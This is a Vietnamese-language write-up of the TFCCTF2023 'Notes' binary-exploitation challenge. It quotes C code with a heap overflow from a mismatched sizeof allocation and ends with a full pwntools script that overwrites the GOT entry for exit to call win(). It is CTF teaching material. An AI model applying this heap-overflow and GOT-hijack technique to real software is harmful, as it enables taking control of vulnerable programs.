🍑Notes - TFCCTF2023

Source

Analysis

Đọc qua source code 1 hồi tôi thấy được 1 phần không kiểm tra input:

#define CONTENT_MAX (long long)256   // <--- here
...
note_t* add() {
    note_t* note = malloc(sizeof(note_t));
    note->content = malloc(sizeof(CONTENT_MAX));  //<--- here
    printf("content> \n");
    fgets(note->content, sizeof(CONTENT_MAX), stdin);
    return note;
}
void edit(note_t* note) {
    printf("content> \n");
    fgets(note->content, CONTENT_MAX, stdin);  // <---- here
}

Tôi đoán bài này sẽ ghi đè vào những phần dữ liệu nhảy cảm trên bộ nhớ heap và có thể chỉnh sửa tùy theo ý muốn.

Set break point tại add() và edit()

Đúng như tôi dự đoán ban đầu

Nhưng làm sao để win được bài này?

Cách duy nhất là GOT overrite thằng exit@plt ---> win()

Test:

ban đầu tôi gửi như bình thường 2 index 0 và 1 sau đó tôi sửa và gửi lại 1 đoạn dữ liệu lên index 0 trong heap

Sau khi tôi gửi tiếp lần nữa ở index 1 thì nhận được lỗi trên. Thay thế dòng chữ "Kinabler" --> thành got của exit và sau đó edit lại ở index1 và gửi lên địa chỉ của hàm win. Tôi được kết quả như sau:

Full payload:

from pwn import *
elf = context.binary = ELF("./notes")
r = elf.process()
gdb.attach(r, '''
    b* main+313\n
    b* edit\n
    c
''')
def add(index):
    r.sendline(str(1))
    r.sendline(str(index))
    r.sendline(b"AA")

def edit(index, payload:bytes):
    r.sendline(str(2))
    r.sendline(str(index))
    r.sendline(payload)

add(0)
add(1)
payload = b"A" * 0x20 + p64(elf.got["exit"])
edit(0, payload)
edit(1, p64(elf.sym.win))
r.sendline(str(0))
r.interactive()

Last updated